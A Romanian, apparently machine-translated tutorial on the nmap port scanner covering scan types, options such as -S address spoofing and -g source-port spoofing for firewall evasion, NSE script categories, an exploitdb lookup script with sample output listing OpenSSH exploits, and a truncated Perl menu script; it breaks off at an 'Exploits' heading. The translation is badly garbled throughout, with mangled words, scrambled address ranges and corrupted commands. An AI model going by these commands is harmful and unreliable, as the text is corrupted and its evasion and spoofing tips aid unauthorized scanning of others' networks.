Confirmarea rezultatelor acestor! Desigur, exista oameni care de fapt ca aceste

Scanări. Consultați pagina man nmap pentru detalii.

Avantaje:

* Debatably mai mult decât SYN scanări. trosnetul

* Aceste explorări va impresiona prietenii dacă nu-le dreapta. 🙂

Dezavantaje:

* uneori să obțineți rezultate eronate, sä spunä.

* încă trimite pachete pentru victima care au dumneavoastră IP pe ele.

Descriere -sI:

Aceasta este o noua scanare care tocmai a fost recent încorporate în nmap. Putini oameni

Pare să știe cum funcționează, dar Fyodor a promis noi documentatie pe acest scan de curând.

Dacă funcționează conform publicității, acest scan are o incredibila suma de potențial. Am jucat cu

Ea un pic, dar nu am facut lucrul.

Avantaje:

* Nr. de pachete pentru victima de la dumneavoastră IP!

* prietenii va idol ai dacă nu-le dreapta. 🙂

Dezavantaje:

* Probabil are unele limitări de grave. Acest document va fi actualizat atunci când am înțeles

  Mai mult din aceasta explorare.

Descriere – sA:

Acest mic doozy de o explorare este foarte subestimat, în opinia mea. Acesta are o cantitate foarte mare

Din rețeaua de depanare. Utilizează legitime Practic acesta funcționează ca acest: Doriți să aflați

Dacă un firewall este filtrarea anumite porturi (filtrare inseamna nu lăsând să vezi ce porturi

Sunt deschise în spatele firewall de nu se intorc mesaje ICMP spune nu poti fi atins).

Bun pentru mapare afară rulesets firewall. În plus dacă știți un port este deschis de un firewall,

Puteți deduce mambra sau nu ai de a face cu un firewall cu filtrul de pachete. Nu puteți găsi

Cu ce porturi sunt deschise pe calculatoarele interne, dar puteți determina care gazde pentru explorare

Atunci când obțineți ca scurt, 2 minut posibilitatea de pe rețeaua internă după alunecă prin

Un geam drept înainte de ora închiderii. 😉 Serios,, în mâinile de cineva care

Înțelege principiile de firewall, această explorarea poate fi incredibil de valoroase.

Notă: Atunci când sunteți la citirea nmap pagina de manual, veți vedea că nu mentioneaza si ACK de pachete

Au numere de secvență aleatorie și astfel. Se pare everybodies ID-urile preferate (intrustion

Sistemul de detectare a), cineva pufnind, a fost folosind un truc de monitorizare inteligente pentru a vedea dacă cineva a fost

Interpretare firewall de cartografiere. Consultați, versiunile anterioare de nmap a avut o valoare fixă, astfel încât

Era banal sa circul, și găsi orice garantate de activitate suspecte. Ca niste

Munca de detectivi frumos oameni care fac. Congrats treceți la Fyodor prea, care îl fixă,

Ne permit scannere pentru ACK scanare fără griji. 🙂

Avantaje:

* astea probabil nu este înregistrat.

* foarte util pentru gospodar scanner.

Dezavantaje:

* nu e un port de scanare.

Descriere -sW:

Aceasta este o explorare a răcitorului decât -chiar sA. Nu numai că utilizați ACK pachete în loc de pachete SYN

Pentru a vă găsi regulile de filtrare obiective, ci și va raporta porturi deschise pe țintă!

Acest lucru are loc prin intermediul un fel de dimensiune fereastră TCP/IP anomalii. Unfortunatley, doar

Lucrează pentru unele OSs… (functioneaza pentru multi cei populare, desi, inclusiv VMS, SunOS 4.X, Și BSD)

Avantaje:

* Tot ce detine din -sA

Dezavantaje:

* nu funcționează pe toate sistemele de operare

Descriere -sU:

Aceasta este o scanare UDP. UDP, sau uniforme Datagram Protocol, este un simplu protocol. Aveți

Trimite un pachet, dacă acesta ajunge acolo, bun. Orice aplicații legat la portul UDP pe

Destinația recepționează date. Dacă este închis, le trimite inapoi un mesaj ICMP. Care este în principiu

Acesta. -sU doar trimite pachete UDP la toate porturile din fișierul de servicii.

UDP este că e utilizat frecvent, dar de cele mai multe ori este o idee bună pentru a face rapid o scanare UDP

O gazda doar pentru a vedea ce s-a întâmplat. De exemplu ar putea fi pornit NFS sau ceva.

%90 din timp, sint pur si simplu nu UDP porturi, astfel încât această caracteristică nu obține un lot de

Utilizați.

Avantaje:

* destul de rapid, am remarcat.

* Este bun pentru a avea o caracteristică de scanare UDP.

Dezavantaje:

* Nu este la fel de util ca și alte explorări de obicei.

Descriere -sR:

A fost odată un bug în versiune beta de nmap ca ucis -sR sprijin temporar… Acesta

Neobservata de ceva timp înainte de Fyodor însuși a prins de bug. El a fost oarecum

Suprat, deoarece nimeni nu a testat -sR pe Beta… Îmi pare rău Fyodor, dar niciodată nu am o dată

Utilizat – sR. Are de a face cu scanare pentru SunRPC porturi și versiunile lor de diagnosticare de pauza.

(Consultați pagina de manual pentru info). Personal, cred ca apartine de scanare în nivelul unei aplicații

Scanner, nu în nmap, dar aceasta este desigur un subiect de dezbatere continuă.

Descriere – astfel încât:

Aceasta este o interesanta explorare. Nu scanați pentru porturi la toate. Acesta scanează pentru a deschide

Protocoalele internet ca tinta este acceptarea… Am doar o din care a folosit

Curiozitate sau pentru a impresiona clienti. 🙂

Descriere -sL și -sP:

Acesta ar fi un moment bun pentru a aduce o caracteristică excelentă de nmap. Acesta poate scana mai mult de

O gazdă de la o singură intrare de linie de comandă! Da, asa e, ai putea scana întreaga subrețea

Cu această comandă:

Nmap -sS 192.168.0.0/24

Sau

Nmap -sS 192.168.0.0-255

Puteți face tot felul de combinații de nebun, ca:

Nmap -sS 1,3,9-11.3-9.-1,5-

Ar scana un lot de gazde… Chiar imi place cum Fyodor n acest… Este atât de…!

Oricum, -sL scan este util când aveți o gamă de IP extrem de complicat pentru a scana, și

Doriți doar să vă asigurați că este nmap interpretați comanda dvs cum doriți. Cel puțin,

E singurul utilizați *I* pot gandi pentru el … Consultați, -sL NU scanați nimic… Nu

Trimite orice pachete de pe rețea…

-sP este complet diferite. Acesta ping gazde pentru a vedea dacă sunt sau nu o. Acesta este un foarte de

Scanare utile. Spun ca as vrea sa vad care gazde sunt până pe subrețea meu, as face-o:

Nmap -sP 192.168.0.1/24

Nmap, implicit utilizează ambele pachete ICMP si ACK pentru a identifica mambra gazda este sau nu, desi

Puteți modifica acest comportament cu -P comutator, care vor fi discutate imediat.

-P<introduceți modul aici>

Nmap de obicei vrea să confirmați la distanþã este înainte de scanarea, astfel încât trimite "ping"

Pe țintă și așteaptă răspunsurile sale. Adesea, veți dori metode diferite de ping

Gazde, sau nu doriți să ping la toate. Aceasta este în cazul în care comutatorul de -P vine de la:

Consultați pagina de manual pentru diferite moduri disponibile. Una dintre cele mai utile este -P0. Aceasta este

Pentru când știi gazdă este în sus, dar ele sunt scăparea ping.

-F

Implicit, nmap va scana toate porturile < 1024, plus porturile enumerate în serviciile speciale ale nmap

Fișier: /usr/local/share/nmap/nmap-servicii normal. -F scan nu va scana porturile enumerate

În fișierul de servicii. De fapt, "rapid" nu este de scanare signifigantly mai repede decât normal

Scanare. Economisiți de scanare 435 porturi; poate ca câteva secunde. Am aproape niciodată nu utilizați acest comutator. Dacă

Chiar vă doriți o scanare rapidă, cred despre porturile de care sunteți interesat și utilizați -p

Comutatorul (Păstrați lectură) pentru a restrânge de scanare. Dacă totuși doriți să scanați toate porturile 65535

O gazda, ar trebui să utilizați această explorare:

Nmap -p 1- target.com

Care ne duce la comutatorul noastră următoare…

-p <gama de port>

Aceasta este una dintre cele mai folosite comutatoarele. Aceasta specifică ce porturi tu de fapt

Doriți să scanați. Acesta utilizează sintaxa similare ca specificând mai multe host de scanare, este

La fel de flexibile.

Câteva exemple:

Nmap -p 2-500 target.com

Nmap -p 2,4,8,29,500-9000 target.com

Nmap -p -300,60000- target.com

Nmap -sS -P0 -p 2-500 target.com

-O

Identificarea sistemului de operare de la distanță este una dintre caracteristicile lui nmap cel mai fain. Comunitatea hackerilor

Care dezvoltă nmap trimite întotdeauna în noul sistem de operare "amprente" de noi sau sistemele de operare obscure,

Astfel încât nmap are o incredibilă capacitatea de a identifica remotley aproape orice computer conectat la internet.

Notă: trebuie să fie root pentru a utiliza această caracteristică.

Notă: De obicei, nmap trebuie să știți despre deschis 1 și 1 port închis, desi exista exceptii.

-I

Această opțiune este proiectat pentru a afla cine "detine" procesul ca asculta pe deschis

Porturi ați găsit. Multe instalații unix implicit de fapt vin cu o ident daemon

Pornit (portul 113), astfel încât această opțiune poate fi foarte folositoare. Păstrați în minte, desi, este trivial

Pentru a scrie un număr care răspunde cu orice daemon utilizator pentru orice proces. Niciodată complet se bazează pe explorare.

-g <port>

Acest comutator este una interesantă și este rareori o merita. Dacă ținta

Răspunde doar la pachetele de la un anumit port de sursă, acest comutator poate ajuta prin scanare dvs.,

Sau dacă un firewall este de a face ceva de nebun, ca numai lăsând în port 53 ca sursă port.

Aceasta este comuna pe multe firewalluri slab configurat ascunde un server DNS, mi s-a spus. (ideal

Ar uita la IP prea, nu doar portul sursă). Ca orice opțiune de rece, acest comutator

Necesită privilegii root.

-T <Paranoic|mascate|politicos||agresiv|nebunie>

Acest comutator controlează viteza cu care doriți să portscan. Uneori, întindere portul dvs.

Scanați pachete va obtine de catre un sistem de pe țintă de ID-uri. Alte ori, poate doar doriți

Pentru a conserva (sau satura) lățimea de bandă a rețelei. Consultați pagina de manual pentru detalii.

-v și -d

Verbose și depanare. Este adesea o idee bună să utilizați -v comutator, cum veți putea adesea

Pentru a determina mai multe informații despre orice lucru care nu mergea bine. Puteți folosi cât de multe -v comutatoare

Doriți în comandă, și fiecare face mai de ieșire cumulativ și mai multe verbose.

Aceasta oprește fiind eficient după aproximativ 3 -v comutatoarele. -d este modul de depanare, și probabil,

Nu este necesar pentru scanări de zi cu zi, dar ajută frământările sumelor in procesul de depanare.

-iR

Preia adrese IP aleatoare pentru explorare. nmap indurase recent un masiv pentru a asigura ca revizie generală

Aceste scanări aleatorii nu scanați private (non-rutabil) retele, guvernul sau calculatoare care

Probabil ca nu vei lua la amabilitate portscan dvs. Acest comutator este limitat în utilitatea, dar

Poate de valoroase pentru analiza statistică sau sa se vada cum a dus destinate filtrarea de pachete

Filtrul de firewall va o matrice de aleatoriu de IPS.

-M <fetali>

Această opțiune utilă vă permite să specificați cât de multe alveole doriți pentru a limita nmap de utilizare

Pentru scanare. Consultați, nmap va scana porturi multiple odată, și pentru un mod normal – scanarea sT, trebuie sa

Treceți prin mufele de interfață la utilizare BSD rețelei. Inutil să spun, orice alt tip de scanare

(cu excepția eventual -sU) nu este afectată de acest comutator ca nu utilizați interfața mufele de la

Toate: Doar injecteaza direct pe pachetele de rețea, ocolind sistemul de operare complet.

De aceea este necesară o rădăcină. Acest comutator este utilă în special pe mașini BSD I-am observat.

Unii (mai ales pe hardware mai vechi) par să provoace un blocaj și un pic de decalaj în timp ce zidariei

-explorările sT, deși nu am mai văzut niciodată un accident înainte de a. Ascultați pagina, desi: Utilizare

-sS peste -sT ori de câte ori este posibil.

-o<metoda de jurnalizare>

În general, nmap va rezultatelor sale de ieșire în formă recunoscută umane spre consolă. De obicei, când vreau

Pentru a salva jurnale meu, voi face acest lucru:

Nmap -sS target.com | tee /home/doug/scanări/target.com-sS

Aceasta funcționează bine doar pentru mine, dar oamenii par a ca folosind acest comutator pentru a salva de ieșire

În altă parte. Consultați pagina de manual pentru detalii. O caracteristică utilă ca nu am experimentat

De mult cu este – Comutatorul Reluare pentru a vă relua un anulată nmap scan. Din nou,

Consultați pagina de manual.

Scanare practice 

––––––––––

Multe scannere de novice nu recunosc importanta catalogare scanărilor dvs. Dacă pur și simplu

Portul de ieșire standard a scanării și citiți rezultatele, veți uita adesea rezultatele dvs.

Și forțat să repreform scanarea, care nu este de disimulare cel mai putin. Creați un director

Pentru păstrarea explorări și numele ei appropriatley, cu toate comutatoarele în fișier

Pentru a evita orice confuzie.

Întotdeauna cu atenție considera ce informații vă sunt efectiv după înainte de a începe scanarea.

Nimic nu vă va da mai repede decât un mănunchi de orbi, zapacita explorări. Aceasta este ceea ce

Cele mai multe sunt concepute pentru a detecta IDSs, la urma urmelor. De exemplu, dacă doriți să găsiți funcționează

Sistem de un webserver nu rulează SSL, utilizați această explorare:

Nmap -sS -P0 -O -p 80,443 www.target.com

Logica din spatele acestei explorări este lăsat ca un exercițiu pentru cititor.

Păstrați întotdeauna în minte că nimic nu poate și este adesea, înregistrat.

Adevarata cale de a deveni expert portscanner este practica și practica mai practica.

Veți vedea o mulțime de lucruri dacă scanați suficiente calculatoare și adesea este interesant

Si educative pentru a descoperi cauzele acestor anomalii. Scanați propriile mașini,

Scanați prietenii de mașini, și veți afla multe despre scanarea și în rețea

General.

Scanarea cu scripturi noi 

–––––––––––––––––

Numeroși hackeri acum nu au timp pentru a căuta în google pentru dreptul de exploit care exploateaza service

El vrea.Acum cu ajutorul de la L1pe la

Este foarte informativ și pot da rezultate pozitive false, dar imi place asta, și nu exista altă modalitate bună am putea să nu săriți peste un posibil exploit. 

În prezent este setat pentru a utiliza arhiva pe BT, dacă doriți să îl utilizați pe altceva doar descărcați arhiva și modificați locația fișierului"

Acest dispozitiv poate fi utilizat numai în bactrack dar cu unele remedieri în directoarele vă veți găsi folosind acest instrument la toate sistemele Linux.

Un script este:

Descriere = [[Caută exploit-uri în exploitdb pe se retragă. Această arhivă pot fi de asemenea găsite la Http://www.exploitdb.com]]

Autorul = "L10N"

Licență = "Același ca Nmap – Consultați Http://nmap.org/book/man-legal.html"

Categorii = {"sigure", "vuln"}

Pentru a utiliza acest instrument în sistemele Linux ar trebui să schimbați calea io.liniile care pentru programul este linia 647 aici in ghid.

Setați dacă fișierele.csv unde este și să scanați țintă cu sintaxa:

Nmap -sV –script=exploitdb.nse scanme.nmap.org

Pornire Nmap 5.21 ( ) de la http://nmap.org 2010-12-19 04:25 PST

NSE: Script. scanarea este finalizată

Raportul de scanare pentru scanme.nmap.org nmap (64.13.134.52)

La distanþã este (0.071s latență scăzută).

Nu este indicat: 995 de porturi de filtrat

Versiune de service de statul de port

22/tcp deschise ssh OpenSSH 4.3 (protocol 2.0)

| exploitdb:  

Platforme |/linux/la distanță/25.c –> "OpenSSH/PAM <= 3.6.1p1 utilizatorii de la distanță dispozitivul de descoperire"

Platforme |/linux/la distanță/26.sh –> "OpenSSH/PAM <= 3.6.1p1 utilizatorii de la distanță (gossh Ident.sh)"

Platforme |/mai multe/la distanță/3303.sh –> "Portabil OpenSSH <= 3.6.1P-PAM / 4.1-SUSE Atac de distribuție exploatează"

Platforme |/mai multe/la distanță/3303.sh –> "Portabil OpenSSH <= 3.6.1P-PAM / 4.1-SUSE Atac de distribuție exploatează"

|_platforme/linux/la distanță/6094.txt –> Debian OpenSSH privilegiul de exploatare de elevație de la distanță SELinux (aut)"

25/tcp închis smtp

53/tcp domeniul deschis

80/tcp deschise http Apache httpd 2.2.3 ((CentOS))

113/tcp închis aut

Detectarea de service efectuată. Vă rugăm să raportați orice rezultate incorecte la http://nmap.org/submit/ .

Nmap adoptată: 1 adresa de IP (1 host) scanate în 37.84 secunde

Gazdele de scanare cu perl script facute de cypherround în Acest perl script automatize lucrările simple.

Aici puteți să adăugați țintă și port și să obțineți ceea ce doriți.

Aici este script:

#! /usr/bin/perl

Print – iată opțiunile de scanare nmap dvs (introduceți abrevierea în paranteză):\n\n agresivă a(a)\n utilizare neadecvată cu ieșire(ao)\n agresivă a 65535 de porturi (aa)\n porturi cu ieșire agresive 65535(aao)\n agresiv cu port specifice (AP)\n agresivă și ieșire (port apo)\n os(SO) scanare amprentă\n os de ieșire de scanare cu amprentă(oso)\n os serviciul de amprente scan (OSS)\n os serviciul de amprente scanați cu ieșire(osso)\n os explorării cu amprentă port specifice(osp)\n os explorării cu amprentă și portul de ieșire specifice(ospo)\n os serviciul de amprente cu scanare port specifice(osps)\n os explorării cu amprentă și portul de ieșire specifice(ospso)\n random IPs(r)\n random IPs cu ieșire(ro)\n random IPs toate porturile 65535(ra)\n random IPs toate porturile de ieșire cu(65535 rao)\n random IPs cu port specifice (RP)\n random IPs cu port și ieșire specifice(rpo)\n stealth(s)\n stealth cu ieșire(astfel încât)\n stealth scan Din toate porturile 65535(SA)\n stealth scan cu toate porturile de ieșire cu(65535 sao)\n stealth scan cu port specifice (SP)\n stealth scan și portul de ieșire cu specfifi(spo)\n serviciul stealth scan(sss)\n serviciul stealth scan cu ieșire(ssso)\n serviciul stealth scanare a toate porturile de 65535(sssao)\n serviciul stealth scanare a toate porturile de ieșire de 65535(sssao cu)\n serviciul stealth scan cu port specifice(sistemul SSPP)\n serviciul stealth scan cu port și ieșire specifice(ssspo)\n udp(u)\n udp cu ieșire(uo)\n udp de toate porturile 65535(ua)\n udp de toate porturile de ieșire de 65535(uao cu)\n udp cu port(sus) caute\n udp cu portul de ieșire specifice și(upo)\n(TCP/UDP ut)\n udp/tcp cu ieșire(uto)\n udp/tcp de toate porturile 65535(uta)\n udp/tcp dacă toate porturile de ieșire de 65535(utao cu)\n udp/tcp cu port specifice(UTP)\n udp/tcp cu portul de ieșire specifice și(utpo)\n";

$scan=<STDIN>;

Chomp ($scan);

Fișa de definit

––––––

Doar fondată de un complet de referință la nmap în versiune PDF.Această foaie de ieftin aproape a celor mai folosite comenzi prin pentesters 

Și sysadmins, pentru a securiza zona , există o mulțime de comandă pentru a obține în lumea nmap scanner.

Asa as sugera pentru a afla foarte bine acest instrument becauze partea de scanare este partea unde trebuie să găsiți vuln 

De o țintă pentru a exploata.

Fițuica de este în acest URL:

Https://scadahacker.com/library/Documents/Cheat_Sheets/Hacking%20-%20NMap%20Quick%20Reference%20Guide.pdf

Nmap în mâinile dvs.

––––––––––

Totul pe linia de comanda a Nmap nu este o opțiune (sau opțiune argument) este tratată ca o țintă 

Specificația de gazdă. Cel mai simplu caz este de a specifica o adresa IP sau numele de gazdă țintă pentru scanare. 

Uneori doriți să scanați o intreaga retea de gazde adiacente. Pentru aceasta, Nmap acceptă CIDR-style 

Abordarea. Puteți să anexați /numbits la o adresa IP sau numele de gazdă și Nmap va scana fiecare IP 

Adresa pentru care prima numbits sunt aceleași ca pentru trimitere IP sau hostname dat. Pentru 

Exemplu 192.168.10.0/24 va scana 256 de gazde între 192.168.10.0 (binar: 11000000 

10101000 00001010 00000000) și 192.168.10.255 (binar: 11000000 10101000 00001010 

11111111), inclusiv. 192.168.10.40/24 ar face exact acelasi lucru. Dat fiind că la gazdă 

Scanme.nmap.org este la adresa IP 205.217.153.62, specificatia scanme.nmap.org/16 ar 

Scanați 65.536 adrese IP 205.217.0.0 205.217 între și.255.255. Cea mai mică valoare permisă 

Este /1, care scanează jumătate din Internet. Cea mai mare valoare este de 32, care scanează doar pe nume gazdă sau IP 

Adresa deoarece toate adresa biti sunt fixate. 

Notația CIDR este scurt dar nu întotdeauna suficient de flexibilă. De exemplu, poate doriți să scanați 

192.168.0.0/16 dar săriți peste orice IPs se termină cu .0 sau .255 deoarece acestea sunt de obicei broadcast 

Adresele. Nmap acceptă această prin octet adresarea de gamă. Mai degrabă decât specifica o adresa IP normală

 Puteți specifica o virgulă separate listă de numere sau intervalele pentru fiecare octet. De exemplu, 

192.168.0-255.1-254 va sări peste toate adresele din gamă ca scop la .0 și sau .255. Gamele nu 

Trebuie limitate la finala octects: specifier 0-255.0-255.13.37 va efectua o scanare largă de Internet pentru toate 

Adresele IP în final în 13.37. Acest fel de esantionare larg poate fi utilă pentru Internet și anchete 

Cercetare. 

Adresele IPv6 pot fi specificate numai prin calificate IPv6 Adresa sau numele de gazdă. CIDR și 

Octet gamele nu sunt acceptate pentru IPv6 deoarece sunt rareori utile. 

Nmap acceptă mai multe specificații gazdă pe linia de comanda, și nu au nevoie să fie același 

Tip. Comanda scanme.nmap.org nmap 192.168.0.0/8 10.0.0,1,3-7.0-255 nu ceea ce tu 

Așteptați. 

Ținte false sunt folosite atât în inițial de ping scanare (folosind ICMP, SYN, ACK sau de ce) și în timpul 

Faza de scanare port reală. Ținte false sunt de asemenea utilizate de detectare a sistemului de operare de la distanță în timpul (-O). 

Ținte false nu funcționează cu versiunea de detectare sau TCP conectați() Scan. 

De notat că folosind prea multe ținte false pot încetini scan și potențial chiar face 

Mai puțin precisă. De asemenea, unele ISP-uri va filtra pachetele falsificata dvs, dar multe nu limitează 

Falsificata pachetele IP la toate. 

-S <IP_Address> (adresa sursa Spoof) 

În anumite circumstanțe, Nmap nu poate fi capabil de a vă determina adresa sursă ( Nmap va 

Spune dacă este cazul). În această situație, utilizarea -S cu adresa IP a interfeței doriți 

Pentru a trimite pachete prin. 

O alta posibila utilizare a acestui indicator este de a face de explorare spoof țintelor cred că cineva 

Altcineva este de a le de scanare. Imagina o societate fiind portul în mod repetat de către concurenți scanate! 

Opțiunea -e ar fi în general necesar pentru acest fel de utilizare și de -P0 ar fi în mod normal 

Recomandabil precum. 

-e <(Utilizați specificate interfață> interfață) 

Nmap spune ce interfață pentru a trimite și a primi pachete pe. Nmap trebuie să fie capabil să detecteze acest 

Automat, dar va spune dacă ea nu poate. 

– sursa de_Port <portnumber>; -g <portnumber> (număr de port sursa Spoof) 

Una este sa greșelile comune surprinzător de încredere în traficul bazat doar pe portul sursă 

Număr. Este ușor de înțeles cum acest lucru vine despre. Administratorul va configura un păr strălucitor 

Noul firewall, doar pentru a fi inundate cu se plânge de la utilizatorii de nerecunoscatoare ale căror cereri 

Oprit de lucru. În special, DNS pot fi rupte deoarece UDP DNS 

Servere externe nu mai poate intra în rețea. FTP este un alt exemplu comun. În activ 

Transferuri FTP, serverul la distanță încearcă să stabilească o conexiune inapoi clientului de a transfera 

Fișierul solicitat. 

Fixați soluții la aceste probleme exista, adesea în formularul de aplicare la nivel de substitutie sau 

Protocol – analizarea module de firewall. Din pacate nu sunt de asemenea mai ușor, soluții de nesiguranta. 

Observand ca DNS provin din port 53 și ftp active de la portul 20, multi administratori au 

Căzut în capcana de pur și simplu permițând traficul de intrare de la aceste porturi. Adesea ele presupun că 

Atacatorul nu va observa si exploata aceste găuri de firewall. În alte cazuri, administratori considera aceasta o 

Pe termen scurt stop-gap măsurați până pot implementa o soluție mai sigură. Apoi au 

Uitați de upgrade de securitate. 

Surmenat administratorilor de rețea nu sunt singurii care cad in aceasta capcana. Numeroase 

Produsele au livrat împreună cu aceste reguli de nesiguranta. Chiar Microsoft a fost vinovat. La IPsec 

Filtre livrate împreună cu Windows 2000 si Windows XP conține o regula implicita care permite toate 

Traficul TCP sau UDP de la portul 88 (Kerberos). In alt bine cunoscut cazul versiuni ale zonei 

Alarm firewall personal până la 2.1.25 permise orice incoming pachete UDP cu portul sursă 

53 (DNS) sau 67 (DHCP).

Motorul de scanare de script

––––––––––––

Unele cuvinte din nmap site Web

Nmap de scripting motor (NSE) este una dintre cele mai puternice Nmap și caracteristici flexibile. Aceasta permite utilizatorilor să scrie (și partajați) simpla a automatiza scripturi de o mare varietate de activități de rețea. Aceste scripturi sunt apoi executate în paralel cu o viteză și o eficiență vă așteptați de la Nmap. Utilizatorii pot conta pe creștere și diversitate de script-uri distribuite cu Nmap, sau scrie propria lor pentru a satisface nevoile personalizate.

Am conceput pentru a fi versatil NSE, cu următoarele sarcini în minte:

Descoperire a rețelei

Aceasta este Nmap piine cu unt lui. Exemplele includ uita de whois de date pe baza domeniul țintă, interogarea ARIN, coapte, sau APNIC pentru a determina IP țintă de proprietate, efectuarea identd căutările pe porturi deschise, SNMP interogări, si listarea disponibile NFS/SMB/RPC și servicii. actiuni

Mai sofisticate de detectare de versiune

Sistemul de detectare a Nmap versiune (Capitolul 7, Service și versiunea aplicației detectarea) este în măsură să recunoască mii de diferite servicii prin sonda și expresii regulate sistemul de corelare bazate pe semnatura, dar nu poate recunoaște totul. De exemplu, identificarea Skype v2 service necesită două sonde de independent, care versiune detectare este nu este suficient de flexibilă pentru a mânerului. 

Nmap ar putea de asemenea să recunoască mai multe servicii SNMP daca ar incerca si cateva sute de nume diferite ale comunitatii prin forță brută.

 Nici una din aceste sarcini sunt potrivite pentru versiunea de Nmap tradiționale, dar ambele de detectare sunt ușor de realizat cu NSE. Din aceste motive, Versiune acum de detectare NSE apeluri implicit la unele servicii dificile. mâner Aceasta este descrisă în secțiunea numită "detectare cu ajutorul NSE Versiune".

Detectare de vulnerabilitate

Când este descoperit un nou vulnerabilitate, adesea vă doriți să scanați rapid de rețele pentru a identifica sistemele vulnerabile înainte de rai. În timp ce Nmap nu este un scaner de vulnerabilitate cuprinzătoare, NSE este suficient de puternic pentru a controalelor de vulnerabilitate solicitante chiar. Multe scripturi de detectare de vulnerabilitate sunt deja disponibile și am de gând să distribuie mai mult ca ele sunt scrise.

Detectarea Backdoor

Multi derbedei și unele automate de viermi lăsați sau backdoors pentru a permite mai târziu stati asa.. Unele dintre acestea pot fi detectate de expresie periodic al Nmap bazată detectarea versiune. De exemplu, în termen de ore de MyDoom worm de lovirea Internet, Jay Moran postat o versiune de Nmap sonda de detectare și semnătura astfel ca altii ar putea scana rapid rețelele lor pentru MyDoom de infecții. NSE este necesară pentru a detecta în mod fiabil mai complex de viermi sau backdoors.

Vulnerabilitate de exploatare

In general limbaj de scripting, nse poate fi utilizat chiar și de a exploata vulnerabilități mai mult decât doar le găsi. Capacitatea de a adăuga custom exploit scripts pot fi valoroase pentru unele persoane (în special testere de penetrare), desi nu sunt de planificare pentru a porni Nmap într-un cadru de exploatare precum Metasploit.

Aceste articole au fost prezentate obiectivele inițiale noastre si ne asteptam ca utilizatorii Nmap sa vina cu chiar mai inventivi utilizează pentru NSE.

Scripturile sunt scrise în limbajul de programare lua încorporate, versiunea 5.2. Limba în sine este bine documentat în cărți programare în limbaj, ediția a doua și Lua 5.1 Manual de referință. Manualul de referință, actualizate pentru lua 5.2, este de asemenea disponibil gratuit online, cum este prima ediție de programare în limbaj. Dată fiind disponibilitatea acestor general excelent Limbaj de programare referințelor, acest document acoperă doar aspecte și extensiile specifice pentru scriptarea lui Nmap motor.

NSE este activată cu opțiunea -sC (sau –script dacă doriți să specificați un set personalizat de script-uri) și rezultatele sunt integrate în Nmap normală și XML.

Un script de tipic de scanare este prezentat în exemplu 9.1. Scripturi de service producătoare de ieșire în acest exemplu sunt ssh-hostkey, care oferă sistemului și tastele RSA SSH, DSA rpcinfo, care enumerarea portmapper interogări de servicii disponibile. Singurul script gazdă producătoare de ieșire în acest exemplu este smb-os-discovery, care colectează o varietate de informații de la servere de tip IMM. Nmap descoperit toate aceste informații în a treia de o a doua.

NSE scripturile sunt foarte puternic și a devenit una din principalele forte, Nmap efectuarea

Sarcinile de la versiunea avansată de detectare a feței pentru a exploatarii de vulnerabilitate.

Fiecare script NSE aparține unei categorii pe baza a ce are. Categorii de curent sunt următoarele:

 Categorie: 

– aut: script-uri care funcționează cu acreditările de autentificare

– televiziune: script-uri care descoperiți activ de gazde prin transmisia pe o rețea locală și de a le adăuga la lista de o țintă

– bruta aceea: scripturi ca forță brută de acreditare de service de la distanță

– implicit: script-uri care sunt automat activați cu -sC sau -O opțiuni

– Descoperirea: script-uri care încercați să dobândească mai multe informații despre rețeaua țintă

– dos: script-uri care pot crash de aplicare țintă și poate provoca o denial of service și țintă

– exploit: script-uri care pot fi capabil de a exploata de aplicare țintă

– Extern: script-uri care trimite date de la un server de terțe părți în rețea (whois)

– fuzzer: script-uri care trimite datele la întâmplare invalid țintă pentru a găsi nedescoperit bugs

– inoportuni: script-uri care pot provoca eșuarea țintă

– malware: script-uri care testați dacă ținta este infectat de malware sau sau backdoors

– Refugiu: script-uri care poate funcționa în condiții de siguranță, astfel încât acestea nu vor crash un server

– versiune: script-uri care pot determina versiunea de aplicația rulează pe o țintă (acestea sunt activați numai când opțiunea este specificată -sV)

– vuln: script-uri care pot verifica dacă ținta este vulnerabil la atacurile specifice

Pentru a include titlul documentului de index de un server web în rezultatele scanării, deschide dvs.

Terminal și tipul următoarea comandă:

$ nmap -sV –script http-titlul

$ nmap –script http-headers,http-titlul

Efectuați toate scripturile în vuln categorie:

$ nmap -sV –script vuln <target>

Executați script în categorii versiune sau descoperirea:

$ nmap -sV –script="versiune,descoperire" <target>

 Efectuați toate script cu exceptia celor din categoria exploit:

$ nmap -sV –script – nu exploateze" <target>

Diagnosticare Geolocația unui IP

Nmap –script ip-geolocația-* <target>

Whois

Nmap –script WHOIS <target>

Inregistrarile DNS conține o mulțime de informații despre un anumit domeniu care nu poate fi ignorat.

Desigur există instrumente specifice pentru bruta aceea de a forța inregistrarile DNS care poate produce rezultate mai bune dar dns-mputita script puteți efectua de asemenea 

Această lucrare în caz că vrem să extrageți informații DNS în timpul explorărilor Nmap noastre.

Nmap -P80 –script dns-mputita <target>

Reversia IP

Nmap –script http-înapoi-ip <target>

De a executa scripturi de descoperire

Această categorie de script este ideală atunci când avem nevoie de cât mai multe informații posibil pentru un anumit target.

Următoarele două imagini sunt un eșantion de ce fel de informații ar putea fi livrate de noi atunci când ne scripturi de descoperire.

Nmap –script=discovery <target> //descoperire este o categorie

  Mergi categorie;

Am făcut aceste linii pentru a spune că putem pune la fiecare categorie în diagnosticare bugs sau vuln la o gazdă de țintă.

Ultima:nmap -script-updatedb

Exploituri

III.1. Ce este un exploit

În IT un exploit este un atac de pe un calculator, în special unul care profită de o vulnerabilitate ca sistemul special oferă către intruși. Folosit ca un verb, termenul se referă la actul de efectuare cu succes un atac.

Mulți biscuiți (sau hackerilor, dacă preferați ca termenul) mândrim lamelele de pastrare a acestor exploit-uri și post exploit (și a descoperit lor vulnerabilități) de pe un site Web pentru a împărtăși cu alții.

Daca un exploit profită de o slăbiciune în sistemul de operare sau programul de aplicație reprezentanțe, proprietarii de sistem sau de aplicare emite un "repara" sau patch în răspuns. utilizatorii sistemului sau de aplicare sunt responsabile pentru obținerea patch, care pot fi descărcate de pe Web. Eșecul de a instala un patch pentru o anumita problema expune utilizatorul la o breșă în sistemul de securitate. (Totusi, poate fi dificil să țineți pasul cu toate patch-uri).

Clasificare

